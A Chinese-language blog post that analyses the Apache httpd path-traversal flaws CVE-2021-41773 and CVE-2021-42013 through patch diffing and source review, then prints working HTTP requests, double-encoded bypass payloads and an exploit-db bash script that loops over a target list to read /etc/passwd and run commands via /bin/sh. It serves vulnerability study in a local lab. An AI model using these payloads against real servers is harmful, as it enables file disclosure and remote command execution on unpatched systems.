0x00 参考
本文将大量参考(chaoxi)且听安全的 QCyber 大佬 https://mp.weixin.qq.com/s/QmnBK0LtzPmBkAx6K54PTA ,本文是我跟着大佬的文章复现,并补充了大佬文章中没有提到的一些内容。
0x01 CVE-2021-41773
漏洞信息
https://dlcdn.apache.org/httpd/CHANGES_2.4.50
https://httpd.apache.org/security/vulnerabilities_24.html
环境
docker pull httpd:2.4.49
docker pull httpd:2.4.50
docker cp 7fd4a5912339be95d5f4c960bf5b2a50aec2be45ff5d40920bdf61c7c19:/usr/local/apache2/bin/httpd /Users/fengwenhua/靶场/httpd_2_4_49
docker cp 64535a1a334f094549dfa5fa5516790197f7de9398cc013c3b9ec7e76e143412:/usr/local/apache2/bin/httpd /Users/fengwenhua/靶场/httpd_2_4_50
这里为了方便直接用别人搭建好的docker环境 https://github.com/blasty/CVE-2021-41773
git clone https://github.com.cnpmjs.org/blasty/CVE-2021-41773.git
cd CVE-2021-41773
docker-compose build && docker-compose up -d
vulhub 已经更新了,可以用 vulhub 的环境 https://github.com/vulhub/vulhub/tree/master/httpd
bindiff
直接去github看 commit 有点难顶,可以用补丁比较法
下载链接:https://www.zynamics.com/software.html
使用链接:https://www.cnblogs.com/lsdb/p/10543411.html
注意版本问题,在 https://www.zynamics.com/bindiff/manual/index.html 可以查看
bindiff版本 | ida版本 |
---|---|
4.1 | 6.5以上 |
4.2 | 6.8以上 |
4.3 | 6.95 |
5 | 7 |
6 | 7.4 |
7 | 7.4-7.6sp1 |
双击打开Matched Functions
项,按相似度(Similarity)从低到高排序,相似度不为1的函数即为两个文件被改动的位置。
由于一开始的提示,这个是路径穿越,所以直接双击ap_normalize_path
,两个函数不同的位置会被以有底色形式标出
ida
这里我们可以用ida查看一下
如果显示数字,可以如图操作
这玩意还是有点难看,下面直接看源码
2.4.49和2.4.50 源码
去 https://github.com/apache/httpd 下载tag
是2.4.50
的源码 https://github.com/apache/httpd/tree/2.4.50
直接搜
Tags
就行,搜branches
是没有的
搜ap_normalize_path
,在server/util.c
发现了其定义,并且在里面发现了新增的内容,且注释上写着,它是想去掉/xx/../
或者是/xx/.%2e/
的情况
众所周知,.%2e/
url解码后不就是../
吗?
去 https://github.com/apache/httpd/tree/2.4.49 ,把两个版本的 util.c
用 beyond compare 比较一下
在老版本中只处理了/xx/../
这样的路径,而没有正确处理/xx/.%2e/
,导致%2e
被带入后续的处理,发生目录穿越
这里会有两个小疑问,一个是这个url路径是在哪里传入来的,二是传入url编码后的东西,在哪里解码?能不能支持多重解码?
于是查ap_normalize_path
的调用,在server/request.c
里面发现了,url路径传入
再往后一点,发现了url解码
这里会根据配置文件是否允许编码斜杠allow_encoded_slashes
来决定url解码的时候,是否保留%2f
(这里用两个不同的url解码函数,实际上调用的是同一个解码函数unescape_url
)
总结一下,攻击者利用/xx/.%2e/
逃过了ap_normalize_path
函数的检测,最终 url_path 传递给了unescape_url
进行url解码,解码变成/xx/../
导致目录穿越。
路径穿越
知道原理之后,那路径穿越的poc就可以写出来的,当然,我这里的前缀是icons
,这玩意得找一下已有的,能访问的,最好的就是apache默认就能访问的啦
如果传入的不是能访问的,httpd直接404了,还路径穿越个鬼。。。
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Connection: close
rce探索
在搞定目录穿越之后,我们就得考虑一下有没有rce了,如果 apache 装了 cgi 模块,那么理论上我们是可以执行命令的
这里先不考虑为啥能执行,后面会讲到。
在安装Apache之后,默认并不包含cgi 模块,需要我们自行安装以完成cgi解析,那么有没有可能在启用mod_cgi
模块的前提下,实现RCE呢?
靶机需要修改httpd.conf
配置文件,启用mod_cgid
和mod_cgi
模块。修改配置文件之后,需要使用apachectl -k restart
重启服务。
这里关于cgi 的配置方面,前面的搭建环境的靶机已经搞定了 ,不需要我们关心,我只是在这里提一嘴
LoadModule cgi_module modules/mod_cgid.so
LoadModule cgi_module modules/mod_cgi.so
mod_cgi
模块的功能是根据输入脚本类型选择不同解析器进行执行,常用的解析器有php
,perl
,bash
等
直接写一个id
命令,我们可以查看 apache 日志tail -f /var/log/apache2/error.log
来查看效果:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 2
Content-Type: application/x-www-form-urlencoded
Connection: close
id
虽然错误日志提示Bad header
,但是命令已经执行成功
尝试使用重定向,命令结果成功写入文件。所以可以getshell了。
在跟踪代码的过程中,注意到错误日志apache/error_log
提示malformed header from script 'bash': Bad header
分析后发现该错误来自于server/util_script.c
中的ap_scan_script_header_err_core_ex
函数:
然后我们找到对应的头文件include/util_script.h
,发现了其声明
Read headers output from a script, ensuring that the output is valid. If the output is valid, then the headers are added to the headers out of the current request. If the request method is GET or HEAD and the script's response will not meet the request's HTTP conditions, a conditional status code is returned.
读取脚本输出的头信息,确保输出是有效的。 如果输出是有效的,那么这些头信息将被添加到当前请求的头信息中。如果请求方法是GET或HEAD,并且脚本的响应将不符合请求的HTTP条件,那么将返回一个有条件的状态代码。
ap_scan_script_header_err_core_ex
函数主要负责从cgi处理结果中读取输入,并确保输出格式符合一定要求。
大体来说就是解析后的结果必须符合http协议规范,我们知道http请求分为header和body,且中间需要使用\r\n
进行分割。这里使用echo
命令直接写入一个文件头,由此成功获取了一个正常的返回报文。
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Connection: close
echo -e "Host: 127.0.0.1\nUser-Agent: Chrome\n"
接下来使用相关语法就可以成功获取命令执行的回显结果。
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Connection: close
echo -e "Host: 127.0.0.1\nUser-Agent: exp~~`id`~~\n"
exp
https://www.exploit-db.com/exploits/50383
#!/bin/bash
if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl --proxy http://192.168.72.1:8080 -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done
# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami
curl --proxy http://127.0.0.1:8081 -s --path-as-is "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
curl --proxy http://127.0.0.1:8081 -s --path-as-is -d "echo Content-Type: text/plain; echo; id" "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Connection: close
cgi-bin执行命令:https://www.cnblogs.com/-beyond/p/8564108.html
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Connection: close
echo Content-Type: text/plain; echo; id
这里解释一下,为啥post命令过去能够执行。这是 cgi-bin 的一个特性 http://httpd.apache.org/docs/current/howto/cgi.html
也就是说,通过 POST 传入的参数,会作为 stdin
的内容,交给所访问的 cgi 程序处理
ps: 经过实测,只要请求体有内容就行,你甚至可以手动把 POST 改成 GET
如果访问的是 /bin/sh
,那么就能直接 getshell 了
这里实测,按不按照那个
xx=xx&yy=yy
的格式传过去都没问题
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 19
Content-Type: application/x-www-form-urlencoded
Connection: close
a=1;touch /tmp/hack
到此,CVE-2021-41773分析完成了,但是,从上面的分析我们可以得知,50版本,是通过在ap_normalize_path
中过滤%2e
来解决问题的,但是,ap_normalize_path
只识别%2e
是完全不够的,攻击者完全可以使用多重url编码来绕过%2e
的检测,因为对于程序来说,在server/util.c
中的unescape_url
函数,是可以把多重编码给解码的。
因此,这就引出了 CVE-2021-42013 这个漏洞。
0x02 CVE-2021-42013
https://downloads.apache.org/httpd/CHANGES_2.4.51
ap_unescape_url_ex 没啥用
根据提示,我先分析了一下ap_unescape_url_ex
函数。ap_unescape_url_ex
功能为对url进行解码。经过分析,其只是把老版本中的ap_unescape_url
和 ap_unescape_url_keep2f
整合了。
所以这一小节剩下的内容看不看都无所谓了,只是我分析的时候截的图,后面不舍得删了而已。
对比了50和51的util.c
,多了个ap_unescape_url_ex
unescape_url
也多了一些flag,一旦出现forbid_slashes
之类的,直接return not found
我们可以对比一下两个tag: https://github.com/apache/httpd/compare/2.4.50...2.4.51
发现了ap_unescape_url_ex
的调用
进入request.c
文件的ap_process_request_internal
处理函数,加入了一堆的flag,其实就是保留斜杠和移除斜杠的flag。
涉及的几个变量如下:
access_status
的含义如下:
有用的点
我们再次对比ap_normalize_path
函数就会发现
2.4.51版本那里,必须满足第一个字符是%
,第二个和第三个字符必须是数字,否则直接ret=0
,如果攻击者想要使用多重url编码绕过ap_normalize_path
的检测,已经不行了。
所以直接上 poc,原来49版本的 payload 是对点号做了一次url编码--.%2e/
,现在50版本就是对.%2e/
里面随意进行url编码(unescape_url
函数都能给你解了),如下:
这里说的随意编码,是只可以对
.
、2
、e
进行再次url编码,%
是不行的
curl http://<host>:<Port>/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
curl http://<host>:<Port>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
curl http://<host>:<Port>/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
curl http://<host>:<Port>/cgi-bin/.%2%65/.%2%65/.%2%65/.%2%65/etc/passwd
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Connection: close
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Connection: close
Content-Length: 7
echo;id
这里我手动把POST改成了GET,发现也能用
0x03 后言
总结一下这次的漏洞,说白了,就是 httpd 把 url_path 传递给 ap_normalize_path
进行了过滤,然后用unescape_url
进行url解码。而漏洞点就出现在ap_normalize_path
过滤不完全,导致攻击者可以绕过ap_normalize_path
对过滤,最终让unescape_url
成功解码出../
导致路径穿越。
这是我第一次比较深入的分析,这里再次感谢 QCyber 大佬的文章 https://mp.weixin.qq.com/s/QmnBK0LtzPmBkAx6K54PTA 对我的指引,说实话,我之前都不知道bindiff
,是看了这个大佬的文章,慢慢研究,搜索才发现的。。。Orz
版权属于:江南小虫虫
本文链接:https://fengwenhua.top/index.php/archives/74/
转载时须注明出处及本声明
3 条评论
7年。。。我直接蛀牙555555555
5年半哈哈哈算错了 计算机人要严谨|´・ω・)ノ
本来只是来学习的,打开导航底下还吃了一口狗粮,人在家中坐,粮从天上来,气死我了!必须回来评论!收下我的祝福!祝99!